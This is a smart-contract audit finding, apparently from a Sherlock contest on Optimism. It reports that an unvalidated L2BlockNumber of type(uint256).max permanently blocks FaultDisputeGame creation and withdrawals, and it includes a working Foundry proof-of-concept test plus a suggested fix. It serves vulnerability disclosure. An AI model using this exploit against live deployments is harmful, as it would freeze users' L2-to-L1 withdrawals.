Thankful Myrtle Seal

high

# Malicious users can brick FaultDisputeGame deployments

## Summary
The DisputeGameFactory allows the deployment of new fault dispute games through the the```create()``` function. A lack of user input validation when deploying a new game allows a malicious user to attach almost arbitrary```L2BlockNumber``` values to root claims. When the game is completed and the root claim is validated as correct, the anchor state is updated with this value as the new anchor root, and the anchor block number is set to ```L2BlockNumber```. Since this value is expected to only increase, a malicious user can simply attach a ```type(uint256).max``` value  to a valid root and update the anchor block number to this value. This will result in the factory reverting every time it tries to deploy a new game.
## Vulnerability Detail
The ```DisputeGameFactory``` contract allows the creation of dispute games through the ```create``` function. Note the ```_extraData``` parameter is the ```L2BlockNumber``` data that is passed to the dispute game clone where its used as an immutable arg and accessed with the ```L2BlockNumber()``` function. There is no input validation for this value.
```solidity
    function create(
        GameType _gameType,
        Claim _rootClaim, //specific root we are challenging
        bytes calldata _extraData //init data
    ) external payable returns (IDisputeGame proxy_) {
...
        // Clone the implementation contract and initialize it with the given parameters.
@>      proxy_ = IDisputeGame(address(impl).clone(abi.encodePacked(_rootClaim, parentHash, _extraData)));
        proxy_.initialize{ value: msg.value }();
```
Inside the initialize function, the ```L2BlockNumber()``` value is compared with the previous anchor root L2 block number and the function reverts if its value is less. If this games claim is determined to be valid then the anchor root block number will be updated to the ```L2BlockNumber()``` value. The implication here is that the newly updated anchor L2 block numbers must be perpetually increasing. This is relevant for the exploit.
```solidity
    function initialize() public payable virtual {
        if (initialized) revert AlreadyInitialized();
@>      (Hash root, uint256 rootBlockNumber) = ANCHOR_STATE_REGISTRY.anchors(GAME_TYPE);
        if (root.raw() == bytes32(0)) revert AnchorRootNotFound();
        startingOutputRoot = OutputRoot({ l2BlockNumber: rootBlockNumber, root: root });
@>      if (l2BlockNumber() <= rootBlockNumber) revert UnexpectedRootClaim(rootClaim());

```
We see here when the valid root Claim is resolved, it updates the anchor registry's L2 block number value.
```solidity
contract FaultDisputeGame is IFaultDisputeGame, Clone, ISemver {
    function resolve() external returns (GameStatus status_) {
...
@>      ANCHOR_STATE_REGISTRY.tryUpdateAnchorState();
    }

contract AnchorStateRegistry is Initializable, IAnchorStateRegistry, ISemver {
    function tryUpdateAnchorState() external {
...
        // No need to update anything if the anchor state is already newer.
        if (game.l2BlockNumber() <= anchors[gameType].l2BlockNumber) {
            return;
        }
...
@>      anchors[gameType] = OutputRoot({ l2BlockNumber: game.l2BlockNumber(), root: Hash.wrap(game.rootClaim().raw()) });
```
A malicious user can exploit this as follows:
1. Create a game with a valid claim and L2BlockNumber of  ```type(uint256).max``` 
2. When the claim is validated and the anchor registry is updated, the anchor block number will be replaced with ```type(uint256).max```
3. Every call to create a new game will now revert since they cant have a higher L2BlockNumber than ```type(uint256).max```
## Proof Of Concept
Place the following test inside ```FaultDisputeGame.t.sol```
```solidity
    function test_anchorStateDOS() public {
        //get any valid root claim
        Claim rootClaim = gameProxy.rootClaim();

        //set the l2BlockNumber to max uint256 value
        uint256 l2BlockNumber = type(uint256).max;
        extraData = abi.encode(l2BlockNumber);

        // Deploy an implementation of the fault game with the new l2BlockNumber at the max value
        gameProxy = FaultDisputeGame(payable(address(disputeGameFactory.create(GAME_TYPE, rootClaim, extraData))));

        // Resolve the game.
        vm.warp(block.timestamp + 3 days + 12 hours + 1 seconds);
        gameProxy.resolveClaim(0);
        assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.DEFENDER_WINS));

        // Confirm that the anchor state is now the same as the game state.
        (Hash root, uint256 l2BlockNumberAfter) = anchorStateRegistry.anchors(gameProxy.gameType());
        assertEq(l2BlockNumberAfter, gameProxy.l2BlockNumber());
        assertEq(root.raw(), gameProxy.rootClaim().raw());
        
        //this should now fail to create a new game and emit the UnexpectedRootClaim error message 
        //for all values of L2BlockNumber
        vm.expectRevert(abi.encodeWithSelector(UnexpectedRootClaim.selector, rootClaim.raw()));
        disputeGameFactory.create(GAME_TYPE, rootClaim, extraData);
    }
```
## Impact
All dispute game functionality will be DoS'd resulting in users being unable to withdraw from L2->L1
```solidity
    function proveWithdrawalTransaction(
        Types.WithdrawalTransaction memory _tx,
        uint256 _disputeGameIndex,
        Types.OutputRootProof calldata _outputRootProof,
        bytes[] calldata _withdrawalProof
    ) external whenNotPaused {
        require(_tx.target != address(this), "OptimismPortal: you cannot send messages to the portal contract");

        (GameType gameType,, IDisputeGame gameProxy) = disputeGameFactory.gameAtIndex(_disputeGameIndex);
@>      Claim outputRoot = gameProxy.rootClaim();
```

## Code Snippet
https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L539
https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/DisputeGameFactory.sol#L87
https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/DisputeGameFactory.sol#L106
https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/AnchorStateRegistry.sol#L76
## Tool used

Manual Review

## Recommendation
For a temporary solution, there needs to be a verification mechanism on the range of L2 block numbers that users can pass. A more comprehensive solution would require the block number to be validated with the root claim.